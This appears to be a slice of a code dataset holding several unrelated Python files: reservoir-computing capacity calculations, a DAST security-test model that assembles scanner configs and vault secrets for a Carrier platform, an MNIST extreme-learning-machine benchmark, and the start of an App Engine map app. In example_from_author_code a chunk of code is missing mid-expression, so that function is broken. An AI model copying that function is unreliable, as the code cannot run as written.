{c_list}')\n # print(c_list.shape)\n print(f'total ipc: {np.sum(c_list)}, ideal value: {normalized_x.shape[1]}')\n # sys.exit()\n\n # save ipc data\n repeat_index = 0\n save_name = f'ipc_degree{degree}_maxdelay{max_delay}_{repeat_index}.csv'\n while os.path.exists(f'{save_name}'):\n repeat_index += 1\n save_name = f'ipc_degree{degree}_maxdelay{max_delay}_{repeat_index}.csv'\n family_matrix_index = []\n for i in range(total_family_matrix.shape[0]):\n family_matrix_index.append(total_family_matrix[i, :])\n\n data_dic['n_list'] = family_matrix_index\n data_dic['c_list'] = np.sum(c_list, axis=0)\n data_frame = pd.DataFrame(data_dic)\n \n if save_index:\n data_frame.to_csv(save_name)\n\n return data_frame\n\ndef polynominal_calculation(reservoir_states, s_in, washout=10000, degree=1, max_delay=3, polynominal='uniform'):\n # for reproduce the figures in paper.\n\n # generate the family of sets of degrees and delays\n global number_list\n data_dic = {} # save all data\n\n integrate_splitting(degree)\n n_list = [i.split(',') for i in number_list]\n number_list = []\n n_list.append([0]*max_delay)\n family_matrix = pd.concat(\n [pd.DataFrame({'{}'.format(index):labels}) for index,labels in enumerate(n_list)],axis=1\n ).fillna(0).values.T.astype(int)\n\n family_matrix = np.delete(family_matrix, -1, 0)\n total_family_matrix = family_matrix.copy()\n # prepare the degree, delay sets\n for index in range(family_matrix.shape[0]):\n all_iter_list = list(multiset_permutations(family_matrix[index], max_delay))\n all_iter_list.reverse()\n total_family_matrix = np.insert(total_family_matrix, index, np.matrix(all_iter_list), axis=0)\n\n total_family_matrix, idx = np.unique(total_family_matrix, axis=0, return_index=True)\n total_family_matrix = total_family_matrix[np.argsort(idx)]\n\n # generate the SVD value of reservoir states\n if reservoir_states.shape[0] == len(s_in[washout:]):\n index_reservoir_mean = reservoir_states.shape[1]\n else:\n index_reservoir_mean = reservoir_states.shape[0]\n # print('index_mean', index_reservoir_mean)\n for index_mean_reservoir in range(index_reservoir_mean):\n # print(np.mean(reservoir_states[:, index_mean_reservoir]))\n reservoir_states[:, index_mean_reservoir] = reservoir_states[:, index_mean_reservoir] - np.mean(reservoir_states[:, index_mean_reservoir])\n normalized_x, _, _ = np.linalg.svd(reservoir_states, full_matrices=False)\n\n # generate the polynomial_matrix shape=(degree+1, len(s_in))\n degree_list = np.linspace(0, degree, degree+1, dtype=int).reshape(degree+1, 1)\n if polynominal == 'uniform':\n # legendre chaos\n polynomial_matrix = scipy.special.eval_legendre(degree_list, s_in.reshape(1, len(s_in)))\n # a,b = 0, 0\n # P = np.ones((degree+1, len(s_in)))\n # P[1] = ((a+b+2)*s_in+a-b)/2\n # for n in range(1,degree):\n # A = (2*n+a+b+1)*((2*n+a+b)*(2*n+a+b+2)*s_in+(a**2)-(b**2))/(2*(n+1)*(n+a+b+1)*(2*n+a+b))\n # B = -(n+a)*(n+b)*(2*n+a+b+2)/((n+1)*(n+a+b+1)*(2*n+a+b))\n # P[n+1] = A*P[n]+B*P[n-1]\n # print(f'P: {P[-1, :]/np.linalg.norm(P[-1, :])}')\n # print(f'poly: {polynomial_matrix[-1, :]/np.linalg.norm(polynomial_matrix[-1, :])}')\n # print(P.shape, polynomial_matrix.shape)\n # sys.exit()\n\n elif polynominal == 'guassian':\n # hermite chaos\n # polynomial_matrix = scipy.special.eval_hermite(degree_list, s_in.reshape(1, len(s_in)))\n P = np.ones((degree+1, len(s_in)))\n P[1] = s_in\n for n in range(1, degree):\n P[n+1] = s_in*P[n] - n*P[n-1]\n # print(f'P: {P[-1, :]}')\n # print(f'poly: {polynomial_matrix[-1, :]}')\n # print(P.shape, polynomial_matrix.shape)\n # sys.exit()\n polynomial_matrix = P\n\n elif polynominal == 'beta':\n alpha, beta = -0.25, -0.25\n polynomial_matrix = scipy.special.eval_jacobi(\n degree_list, alpha, beta, s_in.reshape(1, len(s_in)))\n # a,b = alpha, beta\n # P = np.ones((degree+1, len(s_in)))\n # P[1] = ((a+b+2)*s_in+a-b)/2\n # for n in range(1,degree):\n # A = (2*n+a+b+1)*((2*n+a+b)*(2*n+a+b+2)*s_in+(a**2)-(b**2))/(2*(n+1)*(n+a+b+1)*(2*n+a+b))\n # B = -(n+a)*(n+b)*(2*n+a+b+2)/((n+1)*(n+a+b+1)*(2*n+a+b))\n # P[n+1] = A*P[n]+B*P[n-1]\n # print(f'P: {P[-1, :]/np.linalg.norm(P[-1, :])}')\n # print(f'poly: {polynomial_matrix[-1, :]/np.linalg.norm(polynomial_matrix[-1, :])}')\n # print(P.shape, polynomial_matrix.shape)\n # sys.exit()\n\n elif polynominal == 'gamma':\n # polynomial_matrix = scipy.special.eval_laguerre(\n # degree_list, s_in.reshape(1, len(s_in)))\n a = 1\n L = np.ones((degree+1, len(s_in)))\n L[1] = 1+a-s_in\n for n in range(1, degree):\n L[n+1] = ((2*n+1+a-s_in)*L[n]-(n+a)*L[n-1])/(n+1)\n polynomial_matrix = L\n \n elif polynominal == 'binomial':\n N, p = 10, 0.5\n K = np.ones((degree+1, len(s_in)))\n K[1] = (1-s_in/(p*N))\n for n in range(1, degree):\n K[n+1] = ((p*(N-n)+n*(1-p)-s_in)*K[n] - n*(1-p)*K[n-1] )/(p*(N-n))\n polynomial_matrix = K\n \n # generate corresponding polynomial chaos\n for i in range(polynomial_matrix.shape[0]):\n polynomial_matrix[i, :] = polynomial_matrix[i, :] / np.linalg.norm(polynomial_matrix[i, :])\n # print('input', s_in)\n # print('poly', polynomial_matrix)\n c_list = np.zeros((1, total_family_matrix.shape[0]))\n for index_ipc in range(total_family_matrix.shape[0]):\n # print('index_famliy', total_family_matrix[index_ipc, :])\n single_row_polynomial = np.ones((1, len(s_in[washout:])))\n for index_ipc_column in range(total_family_matrix.shape[1]):\n degree_value = total_family_matrix[index_ipc, index_ipc_column]\n if degree_value == 0:\n continue\n delay_value = index_ipc_column+1\n polynomial_term = polynomial_matrix[degree_value, :]\n # print(f'polu_term: {polynomial_term}, degree{degree_value}, delay_value: {delay_value}')\n cor_temp = polynomial_term[washout-delay_value: -delay_value].reshape(1, len(s_in[washout:]))\n # print('cor_temp', cor_temp)\n single_row_polynomial = np.multiply(single_row_polynomial, cor_temp)\n # print(single_row_polynomial)\n single_row_polynomial = single_row_polynomial / np.linalg.norm(single_row_polynomial)\n # print(single_row_polynomial, 'norm')\n # print(single_row_polynomial.shape, normalized_x.shape)\n c_list[0, index_ipc] = np.sum((np.dot(normalized_x.T, single_row_polynomial.T))**2, axis=0)\n # print(c_list[0, index_ipc])\n # sys.exit()\n # print(c_list)\n # print(c_list.shape, np.sum(c_list))\n # sys.exit()\n # save ipc data\n family_matrix_index = []\n for i in range(total_family_matrix.shape[0]):\n family_matrix_index.append(total_family_matrix[i, :])\n\n data_dic['n_list'] = family_matrix_index\n data_dic['c_list'] = c_list[0, :]\n data_frame = pd.DataFrame(data_dic)\n return data_frame\n\ndef second_example_one_layer_rc(length=10000, sigma=0.2, degree=1, max_delay=10, polynomial_index='uniform'):\n washout_time = 10000\n np.random.seed(0)\n if polynomial_index == 'uniform':\n # for legendre chaos\n s_in = np.random.uniform(-1, 1, length+washout_time)\n\n elif polynomial_index == 'guassian':\n # for Guassian chaos\n # s_in = np.random.normal(loc=0, scale=1, size=length+washout_time)\n s_in = np.random.randn(length+washout_time)\n \n elif polynomial_index == 'beta':\n s_in = np.random.beta(0.25, 0.25, size=length+washout_time)*2-1\n\n elif polynomial_index == 'binomial':\n s_in = np.random.binomial(n=10, p=0.5, size=length+washout_time)\n\n elif polynomial_index == 'gamma':\n s_in = np.random.gamma(shape=2, scale=1, size=length+washout_time)\n \n print(f'input: {polynomial_index}')\n reservoir_state = 0\n reservoir_states = np.zeros((length+washout_time, 1))\n rho = 0.95\n for i in range(1, washout_time+length):\n reservoir_state = np.tanh(rho*reservoir_state + sigma*s_in[i-1])\n reservoir_states[i, 0] = reservoir_state\n \n reservoir_states = reservoir_states[washout_time:]\n # s_in = s_in[washout_time:]\n # print('reservoir', reservoir_states)\n data_frame = polynominal_calculation(\n reservoir_states=reservoir_states, s_in=s_in, washout=washout_time, degree=degree, \n max_delay=max_delay, polynominal=polynomial_index)\n total_ipc_frame = {}\n degree_list = data_frame['n_list']\n c_list = data_frame['c_list']\n scale_factor = 1.2\n\n # update\n for i in track(range(200)):\n np.random.seed(i)\n random_input = np.random.permutation(s_in)\n data_frame = polynominal_calculation(\n reservoir_states=reservoir_states, s_in=random_input, washout=washout_time,\n degree=degree, max_delay=max_delay,\n polynominal=polynomial_index)\n total_ipc_frame[f'c_list_{i}'] = data_frame['c_list']\n \n # save all data\n total_ipc_frame = pd.DataFrame(total_ipc_frame)\n maximum_surrogate_values = total_ipc_frame.max(axis=1)*scale_factor\n c_thresold_list = []\n for i in range(len(maximum_surrogate_values)):\n if maximum_surrogate_values[i] > c_list[i]:\n c_thresold_list.append(0)\n else:\n c_thresold_list.append(c_list[i])\n\n total_ipc_frame.insert(total_ipc_frame.shape[1], 'c_list', c_list)\n total_ipc_frame.insert(total_ipc_frame.shape[1], 'c_thresold_list', c_thresold_list)\n total_ipc_frame.insert(0, 'n_list', degree_list)\n if not os.path.exists('ipc_data'):\n os.mkdir('ipc_data') \n total_ipc_frame.to_csv(f'ipc_data/sigma_{sigma}_degree_{degree}_delay_{max_delay}_{polynomial_index}.csv')\n\n # data_frame = pd.DataFrame({'c_thresold_list': c_thresold_list, 'c_list': c_list})\n # print(data_frame)\n # print(\n # f'degree = {degree}, c_total = {np.sum(c_thresold_list)}, Rank: {np.linalg.matrix_rank(reservoir_states)}, sigma = {sigma}')\n\n return c_thresold_list, np.sum(c_thresold_list)\n \n# need to be initialize before use the integrate_spliiting function\nnumber_list = []\ndef integrate_splitting(n, startnum=1, out=''):\n \n global number_list\n for i in range(startnum,n//2 + 1):\n outmp = out\n outmp += str(i) + ','\n integrate_splitting(n-i,i,outmp)\n \n if n == startnum:\n number_list.append(out + str(n))\n return\n\n integrate_splitting(n,n,out)\n\ndef example_from_author_code(polynomial='uniform', degree=1, max_delay=1):\n ##### Parameters for esn #####\n N = 50 # Number of nodes\n Two = 10000 # Washout time\n T = 10000 # Time length except washout\n p = 0.5 # Sparsity for internal weight\n pin = 0.1 # Sparsity for input weight\n iota = 0.1 # Input intensity\n # Spectral radius\n rho = 0.1\n\n #Weight\n seed = 0\n np.random.seed(seed)\n win = (2*np.random.rand(N)-1) * (np.random.rand(N) c_list[i]:\n c_thresold_list.append(0)\n else:\n c_thresold_list.append(c_list[i])\n\n total_ipc_frame.insert(total_ipc_frame.shape[1], 'c_list', c_list)\n total_ipc_frame.insert(total_ipc_frame.shape[1], 'c_thresold_list', c_thresold_list)\n total_ipc_frame.insert(0, 'n_list', degree_list) \n total_ipc_frame.to_csv(f'Example_degree_{degree}_delay_{max_delay}_{polynomial}.csv')\n\n data_frame = pd.DataFrame({'c_thresold_list': c_thresold_list, 'c_list': c_list})\n print(data_frame)\n print(f'degree = {degree}, c_total = {np.sum(c_thresold_list)}, Rank: {x.shape[0]}')\n\n return c_thresold_list, np.sum(c_thresold_list)\n\n","repo_name":"leamoon/Physical-Reservoir-Computing-for-Spin-Torque-Oscillator","sub_path":"information_processing.py","file_name":"information_processing.py","file_ext":"py","file_size_in_byte":21323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"4114593252","text":"import copy\n\nfrom json import dumps\nfrom queue import Empty\nfrom typing import List, Union\n\nfrom sqlalchemy import Column, Integer, String, ARRAY, JSON, and_\n\nfrom tools import rpc_tools, db, db_tools, constants, VaultClient, context\n\nfrom pylon.core.tools import log # pylint: disable=E0611,E0401\n\n\nclass SecurityTestsDAST(db_tools.AbstractBaseMixin, db.Base, rpc_tools.RpcMixin):\n __tablename__ = \"security_tests_dast\"\n id = Column(Integer, primary_key=True)\n project_id = Column(Integer, unique=False, nullable=False)\n project_name = Column(String(64), nullable=False)\n test_uid = Column(String(64), unique=True, nullable=False)\n\n name = Column(String(128), nullable=False, unique=True)\n description = Column(String(256), nullable=True, unique=False)\n\n urls_to_scan = Column(ARRAY(String(128)), nullable=False)\n urls_exclusions = Column(ARRAY(String(128)), nullable=True)\n scan_location = Column(String(128), nullable=False)\n test_parameters = Column(ARRAY(JSON), nullable=True)\n\n integrations = Column(JSON, nullable=True)\n\n schedules = Column(ARRAY(Integer), nullable=True, default=[])\n\n results_test_id = Column(Integer)\n build_id = Column(String(128), unique=True)\n\n def add_schedule(self, schedule_data: dict, commit_immediately: bool = True):\n schedule_data['test_id'] = self.id\n schedule_data['project_id'] = self.project_id\n try:\n schedule_id = self.rpc.timeout(2).scheduling_security_create_schedule(data=schedule_data)\n log.info(f'schedule_id {schedule_id}')\n updated_schedules = set(self.schedules)\n updated_schedules.add(schedule_id)\n self.schedules = list(updated_schedules)\n if commit_immediately:\n self.commit()\n log.info(f'self.schedules {self.schedules}')\n except Empty:\n log.warning('No scheduling rpc found')\n\n def handle_change_schedules(self, schedules_data: List[dict]):\n new_schedules_ids = set(i['id'] for i in schedules_data if i['id'])\n ids_to_delete = set(self.schedules).difference(new_schedules_ids)\n self.schedules = []\n for s in schedules_data:\n log.warning('!!!adding schedule')\n log.warning(s)\n self.add_schedule(s, commit_immediately=False)\n try:\n self.rpc.timeout(2).scheduling_delete_schedules(ids_to_delete)\n except Empty:\n ...\n self.commit()\n\n @property\n def scanners(self) -> list:\n try:\n return list(self.integrations.get('scanners', {}).keys())\n except AttributeError:\n return []\n\n @staticmethod\n def get_api_filter(project_id: int, test_id: Union[int, str]):\n log.info(f'getting filter int? {isinstance(test_id, int)} {test_id}')\n if isinstance(test_id, int):\n return and_(\n SecurityTestsDAST.project_id == project_id,\n SecurityTestsDAST.id == test_id\n )\n return and_(\n SecurityTestsDAST.project_id == project_id,\n SecurityTestsDAST.test_uid == test_id\n )\n\n def configure_execution_json(\n self,\n output='cc',\n thresholds={}\n ):\n vault_client = VaultClient.from_project(self.project_id)\n if output == \"dusty\":\n from flask import current_app\n\n descriptor = context.module_manager.descriptor.security\n #\n base_config = descriptor.config.get(\"base_config\", None)\n if base_config is None:\n base_config = {}\n else:\n base_config = copy.deepcopy(base_config)\n\n global_dast_settings = dict()\n global_dast_settings[\"max_concurrent_scanners\"] = 1\n\n # if \"toolreports\" in self.reporting:\n # global_dast_settings[\"save_intermediates_to\"] = \"/tmp/intermediates\"\n\n #\n # Scanners\n #\n\n scanners_config = descriptor.config.get(\"base_config_scanners\", None)\n if scanners_config is None:\n scanners_config = {}\n else:\n scanners_config = copy.deepcopy(scanners_config)\n #\n for scanner_name in self.integrations.get('scanners', []):\n try:\n config_name, config_data = \\\n self.rpc.call_function_with_timeout(\n func=f'dusty_config_{scanner_name}',\n timeout=2,\n context=None,\n test_params=self.__dict__,\n scanner_params=self.integrations[\"scanners\"][scanner_name],\n )\n scanners_config[config_name] = config_data\n except Empty:\n log.warning(f'Cannot find scanner config rpc for {scanner_name}')\n\n # # scanners_data\n # for scanner_name in self.scanners_cards:\n # scanners_config[scanner_name] = {}\n # scanners_data = (\n # current_app.config[\"CONTEXT\"].rpc_manager.node.call(scanner_name)\n # or\n # {\"target\": \"urls_to_scan\"}\n # )\n # for setting in scanners_data:\n # scanners_config[scanner_name][setting] = self.__dict__.get(\n # scanners_data[setting],\n # scanners_data[setting]\n # )\n\n #\n # Processing\n #\n\n processing_config = descriptor.config.get(\"base_config_processing\", None)\n if processing_config is None:\n processing_config = {}\n else:\n processing_config = copy.deepcopy(processing_config)\n #\n for processor_name in self.integrations.get(\"processing\", []):\n try:\n config_name, config_data = \\\n self.rpc.call_function_with_timeout(\n func=f\"dusty_config_{processor_name}\",\n timeout=2,\n context=None,\n test_params=self.__dict__,\n scanner_params=self.integrations[\"processing\"][processor_name],\n )\n processing_config[config_name] = config_data\n except Empty:\n log.warning(f'Cannot find processor config rpc for {processor_name}')\n\n tholds = {}\n for threshold in thresholds:\n if int(threshold['value']) > -1:\n tholds[threshold['name'].capitalize()] = {\n 'comparison': threshold['comparison'],\n 'value': int(threshold['value']),\n }\n\n processing_config[\"quality_gate_sast\"] = {\n \"thresholds\": tholds\n }\n\n # \"min_severity_filter\": {\n # \"severity\": \"Info\"\n # },\n # \"quality_gate\": {\n # \"thresholds\": tholds\n # },\n # # \"false_positive\": {\n # # \"galloper\": secrets_tools.unsecret(\n # # \"{{secret.galloper_url}}\",\n # # project_id=self.project_id\n # # ),\n # # \"project_id\": f\"{self.project_id}\",\n # # \"token\": secrets_tools.unsecret(\n # # \"{{secret.auth_token}}\",\n # # project_id=self.project_id\n # # )\n # # },\n # # \"ignore_finding\": {\n # # \"galloper\": secrets_tools.unsecret(\n # # \"{{secret.galloper_url}}\",\n # # project_id=self.project_id\n # # ),\n # # \"project_id\": f\"{self.project_id}\",\n # # \"token\": secrets_tools.unsecret(\n # # \"{{secret.auth_token}}\",\n # # project_id=self.project_id\n # # )\n # # }\n\n #\n # Reporters\n #\n\n reporters_config = descriptor.config.get(\"base_config_reporters\", None)\n if reporters_config is None:\n reporters_config = {}\n else:\n reporters_config = copy.deepcopy(reporters_config)\n #\n for reporter_name in self.integrations.get('reporters', []):\n try:\n config_name, config_data = \\\n self.rpc.call_function_with_timeout(\n func=f'dusty_config_{reporter_name}',\n timeout=2,\n context=None,\n test_params=self.__dict__,\n scanner_params=self.integrations[\"reporters\"][reporter_name],\n )\n reporters_config[config_name] = config_data\n except Empty:\n log.warning(f'Cannot find reporter config rpc for {reporter_name}')\n\n reporters_config[\"centry_loki\"] = {\n \"url\": f'{vault_client.unsecret(\"{{secret.loki_host}}\")}/loki/api/v1/push',\n \"labels\": {\n \"project\": str(self.project_id),\n \"build_id\": str(self.build_id),\n \"report_id\": str(self.results_test_id),\n \"hostname\": \"dusty\"\n },\n }\n reporters_config[\"centry_status\"] = {\n \"url\": vault_client.unsecret(\"{{secret.galloper_url}}\"),\n \"token\": vault_client.unsecret(\"{{secret.auth_token}}\"),\n \"project_id\": str(self.project_id),\n \"test_id\": str(self.results_test_id),\n }\n\n\n reporters_config[\"centry\"] = {\n \"url\": vault_client.unsecret(\"{{secret.galloper_url}}\"),\n \"token\": vault_client.unsecret(\"{{secret.auth_token}}\"),\n \"project_id\": str(self.project_id),\n \"test_id\": str(self.results_test_id),\n }\n # TODO: check valid reports names\n # for report_type in self.reporting:\n # if report_type == \"toolreports\":\n # reporters_config[\"galloper_tool_reports\"] = {\n # \"bucket\": \"dast\",\n # \"object\": f\"{self.test_uid}_tool_reports.zip\",\n # \"source\": \"/tmp/intermediates\",\n # }\n #\n # elif report_type == \"quaity\":\n # reporters_config[\"galloper_junit_report\"] = {\n # \"bucket\": \"dast\",\n # \"object\": f\"{self.test_uid}_junit_report.xml\",\n # }\n # reporters_config[\"galloper_quality_gate_report\"] = {\n # \"bucket\": \"dast\",\n # \"object\": f\"{self.test_uid}_quality_gate_report.json\",\n # }\n # reporters_config[\"junit\"] = {\n # \"file\": \"/tmp/{project_name}_{testing_type}_{build_id}_report.xml\",\n # }\n #\n # elif report_type == \"jira\":\n # project_secrets = get_project_hidden_secrets(self.project_id)\n # if \"jira\" in project_secrets:\n # jira_settings = loads(project_secrets[\"jira\"])\n # reporters_config[\"jira\"] = {\n # \"url\": jira_settings[\"jira_url\"],\n # \"username\": jira_settings[\"jira_login\"],\n # \"password\": jira_settings[\"jira_password\"],\n # \"project\": jira_settings[\"jira_project\"],\n # \"fields\": {\n # \"Issue Type\": jira_settings[\"issue_type\"],\n # }\n # }\n #\n # elif report_type == \"email\":\n # project_secrets = get_project_hidden_secrets(self.project_id)\n # if \"smtp\" in project_secrets:\n # email_settings = loads(project_secrets[\"smtp\"])\n # reporters_config[\"email\"] = {\n # \"server\": email_settings[\"smtp_host\"],\n # \"port\": email_settings[\"smtp_port\"],\n # \"login\": email_settings[\"smtp_user\"],\n # \"password\": email_settings[\"smtp_password\"],\n # \"mail_to\": self.dast_settings.get(\"email_recipients\", \"\"),\n # }\n # reporters_config[\"html\"] = {\n # \"file\": \"/tmp/{project_name}_{testing_type}_{build_id}_report.html\",\n # }\n #\n # elif report_type == \"ado\":\n # project_secrets = get_project_hidden_secrets(self.project_id)\n # if \"ado\" in project_secrets:\n # reporters_config[\"azure_devops\"] = loads(\n # project_secrets[\"ado\"]\n # )\n #\n # elif report_type == \"rp\":\n # project_secrets = get_project_hidden_secrets(self.project_id)\n # if \"rp\" in project_secrets:\n # rp = loads(project_secrets.get(\"rp\"))\n # reporters_config[\"reportportal\"] = {\n # \"rp_host\": rp[\"rp_host\"],\n # \"rp_token\": rp[\"rp_token\"],\n # \"rp_project_name\": rp[\"rp_project\"],\n # \"rp_launch_name\": \"dast\"\n # }\n\n computed_config = {\n \"config_version\": 2,\n \"suites\": {\n \"dast\": {\n \"settings\": {\n \"project_name\": self.project_name,\n \"project_description\": self.name,\n \"environment_name\": \"target\",\n \"testing_type\": \"DAST\",\n \"scan_type\": \"full\",\n \"build_id\": self.test_uid,\n \"dast\": global_dast_settings\n },\n # \"actions\": {\n # \"git_clone\": {\n # \"source\": \"https://github.com/carrier-io/galloper.git\",\n # \"target\": \"/tmp/code\",\n # \"branch\": \"master\",\n # }\n # },\n \"scanners\": {\n \"dast\": scanners_config,\n # \"dast\": {\"nmap\": {\n # \"target\": \"http://scanme.nmap.org/\",\n # \"include_ports\": \"22,80,443\"\n # }},\n # \"sast\": {\n # \"python\": {\n # \"code\": \"/tmp/code\",\n # },\n # },\n },\n \"processing\": processing_config,\n \"reporters\": reporters_config\n }\n }\n }\n #\n dusty_config = {}\n dusty_config.update(base_config)\n dusty_config.update(computed_config)\n #\n log.info(\"Resulting config: %s\", dusty_config)\n #\n return dusty_config\n\n job_type = \"dast\"\n # job_type = \"sast\"\n\n # container = f\"getcarrier/{job_type}:{CURRENT_RELEASE}\"\n # container = f\"getcarrier/sast:latest\"\n container = f\"getcarrier/dast:latest\"\n parameters = {\n \"cmd\": f\"run -b centry:{job_type}_{self.test_uid} -s {job_type}\",\n \"GALLOPER_URL\": vault_client.unsecret(\"{{secret.galloper_url}}\"),\n \"GALLOPER_PROJECT_ID\": f\"{self.project_id}\",\n \"GALLOPER_AUTH_TOKEN\": vault_client.unsecret(\"{{secret.auth_token}}\"),\n }\n cc_env_vars = {\n \"RABBIT_HOST\": vault_client.unsecret(\"{{secret.rabbit_host}}\"),\n \"RABBIT_USER\": vault_client.unsecret(\"{{secret.rabbit_user}}\"),\n \"RABBIT_PASSWORD\": vault_client.unsecret(\"{{secret.rabbit_password}}\"),\n \"REPORT_ID\": str(self.results_test_id),\n \"build_id\": str(self.build_id),\n \"project_id\": str(self.project_id),\n \"AWS_LAMBDA_FUNCTION_TIMEOUT\": str(60*60*6),\n }\n concurrency = 1\n\n if output == \"docker\":\n return f\"docker run --rm -i -t \" \\\n f\"-e project_id={self.project_id} \" \\\n f\"-e galloper_url={vault_client.unsecret('{{secret.galloper_url}}')} \" \\\n f\"-e token=\\\"{vault_client.unsecret('{{secret.auth_token}}')}\\\" \" \\\n f\"getcarrier/control_tower:{constants.CURRENT_RELEASE} \" \\\n f\"-tid {self.test_uid}\"\n if output == \"cc\":\n channel = self.scan_location\n if channel == \"Carrier default config\" or channel.strip() == \"\":\n channel = \"default\"\n #\n execution_json = {\n \"job_name\": self.name,\n \"job_type\": job_type,\n \"concurrency\": concurrency,\n \"container\": container,\n \"execution_params\": dumps(parameters),\n \"cc_env_vars\": cc_env_vars,\n # \"channel\": self.region\n \"channel\": channel,\n }\n # todo: scanner_cards no longer present\n # if \"quality\" in self.scanners_cards:\n # execution_json[\"quality_gate\"] = \"True\"\n #\n log.info(\"Resulting CC config: %s\", execution_json)\n #\n return execution_json\n\n return \"\"\n\n # def to_json(self, exclude_fields: tuple = ()) -> dict:\n # test_param = super().to_json(exclude_fields)\n # # test_param[\"tools\"] = \",\".join(test_param[\"scanners_cards\"].keys())\n # if test_param['created']:\n # test_param['created'] = format_date(test_param['created'])\n # if test_param['updated']:\n # test_param['updated'] = format_date(test_param['updated'])\n # # print('test_param', test_param)\n #\n # return test_param\n","repo_name":"carrier-io/security","sub_path":"models/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":18638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44049251995","text":"#!/usr/bin/env python\n# coding: utf-8\n# MNIST classification using Extreme Learning Machines\nimport numpy as np\nimport time\nfrom sklearn.base import clone\nfrom sklearn.datasets import fetch_openml\nfrom sklearn.linear_model import Ridge\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import (\n RandomizedSearchCV, GridSearchCV, ParameterGrid,\n cross_validate)\nfrom sklearn.utils.fixes import loguniform\nfrom sklearn.metrics import accuracy_score\n\nfrom pyrcn.model_selection import SequentialSearchCV\nfrom pyrcn.extreme_learning_machine import ELMClassifier\n\n\n# Load the dataset\nX, y = fetch_openml('mnist_784', version=1, return_X_y=True, as_frame=False)\n\n# Train test split and normalize to a range between [-1, 1].\nX = MinMaxScaler(feature_range=(-1, 1)).fit_transform(X=X)\nX_train, X_test = X[:60000], X[60000:]\ny_train, y_test = y[:60000].astype(int), y[60000:].astype(int)\n\n# # Prepare sequential hyperparameter tuning\ninitially_fixed_params = {\n 'hidden_layer_size': 500,\n 'input_activation': 'tanh',\n 'k_in': 10,\n 'bias_scaling': 0.0,\n 'alpha': 1e-5,\n 'random_state': 42\n}\n\nstep1_params = {'input_scaling': loguniform(1e-5, 1e1)}\nkwargs1 = {\n 'random_state': 42, 'verbose': 1, 'n_jobs': -1, 'n_iter': 5,\n 'scoring': 'accuracy'\n}\nstep2_params = {'bias_scaling': np.linspace(0.0, 1.6, 16)}\nkwargs2 = {'verbose': 5, 'n_jobs': -1, 'scoring': 'accuracy'}\n\nelm = ELMClassifier(regressor=Ridge(), **initially_fixed_params)\n\nsearches = [('step1', RandomizedSearchCV, step1_params, kwargs1),\n ('step2', GridSearchCV, step2_params, kwargs2)]\n\n# # Perform the sequential search\nsequential_search = SequentialSearchCV(elm, searches=searches).fit(X_train,\n y_train)\nbest_params = sequential_search.best_estimator_.get_params()\n\n# # Test\n# Increase reservoir size and compare different regression methods.\n# Make sure that you have enough RAM for that, because all regression types\n# without chunk size require a lot of memory. This is the reason why,\n# especially for large datasets, the incremental regression is recommended.\n\nbase_elm_ridge = ELMClassifier(regressor=Ridge(), **best_params)\nbase_elm_inc = ELMClassifier(**best_params)\nbase_elm_inc_chunk = clone(base_elm_inc).set_params(chunk_size=6000)\n\nparam_grid = {'hidden_layer_size': [500, 1000, 2000, 4000, 8000, 16000]}\n\nprint(\"CV results\\tFit time\\tInference time\\tAccuracy score\\tSize[Bytes]\")\nfor params in ParameterGrid(param_grid):\n elm_ridge_cv = cross_validate(clone(base_elm_ridge).set_params(**params),\n X=X_train, y=y_train)\n t1 = time.time()\n elm_ridge = clone(base_elm_ridge).set_params(**params).fit(X_train,\n y_train)\n t_fit = time.time() - t1\n mem_size = elm_ridge.__sizeof__()\n t1 = time.time()\n acc_score = accuracy_score(y_test, elm_ridge.predict(X_test))\n t_inference = time.time() - t1\n print(\"{0}\\t{1}\\t{2}\\t{3}\\t{4}\"\n .format(elm_ridge_cv, t_fit, t_inference, acc_score, mem_size))\n elm_inc_cv = cross_validate(clone(base_elm_inc).set_params(**params),\n X=X_train, y=y_train)\n t1 = time.time()\n elm_inc = clone(base_elm_inc).set_params(**params).fit(X_train, y_train)\n t_fit = time.time() - t1\n mem_size = elm_inc.__sizeof__()\n t1 = time.time()\n acc_score = accuracy_score(y_test, elm_inc.predict(X_test))\n t_inference = time.time() - t1\n print(\"{0}\\t{1}\\t{2}\\t{3}\\t{4}\"\n .format(elm_inc_cv, t_fit, t_inference, acc_score, mem_size))\n elm_inc_chunk_cv = cross_validate(\n clone(base_elm_inc_chunk).set_params(**params),\n X=X_train, y=y_train)\n t1 = time.time()\n elm_inc_chunk = clone(base_elm_inc_chunk).set_params(**params)\\\n .fit(X_train, y_train)\n t_fit = time.time() - t1\n mem_size = elm_inc_chunk.__sizeof__()\n t1 = time.time()\n acc_score = accuracy_score(y_test, elm_inc_chunk.predict(X_test))\n t_inference = time.time() - t1\n print(\"{0}\\t{1}\\t{2}\\t{3}\\t{4}\"\n .format(elm_inc_chunk_cv, t_fit, t_inference, acc_score, mem_size))\n\n# In[ ]:\n","repo_name":"TUD-STKS/PyRCN","sub_path":"examples/mnist_regressors.py","file_name":"mnist_regressors.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"61"} +{"seq_id":"70856122113","text":"#!/usr/bin/env python\n\nimport os\nimport cgi\nimport time\nimport jinja2\nimport logging\nimport webapp2\n\nfrom google.appengine.ext import db\nfrom google.appengine.api import images\nfrom google.appengine.api import memcache\nfrom google.appengine.api import mail\n\nfrom models import Venture\n\ntemplate_dir = os.path.dirname(\"templates/frontend/\")\ntemplate_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir))\n\n\ndef get_coords(ventures):\n coords = []\n for venture in ventures:\n if venture.approved:\n coord = []\n fields = [\"latitude\", \"longitude\", \"name\", \"street\", \"street2\", \n \"city\", \"county\", \"website\", \"email\", \"phone\", \"uniqueid\"]\n for field in fields:\n value = getattr(venture, field)\n if value != None:\n coord.append(str(value))\n else:\n coord.append(\"\")\n coords.append(coord)\n return coords\n\ndef is_mobile(uastring):\n\n mobile_devices = [\"Android\", \"BlackBerry\", \"iPhone\", \"iPad\", \"iPod\",\n \"Opera Mini\", \"IEMobile\", \"Windows Phone\"]\n\n for device in mobile_devices:\n if device in uastring:\n return True\n\n return False\n\ndef send_addition_email(venture):\n message = mail.EmailMessage()\n\n message.sender = \"NI Digital Map 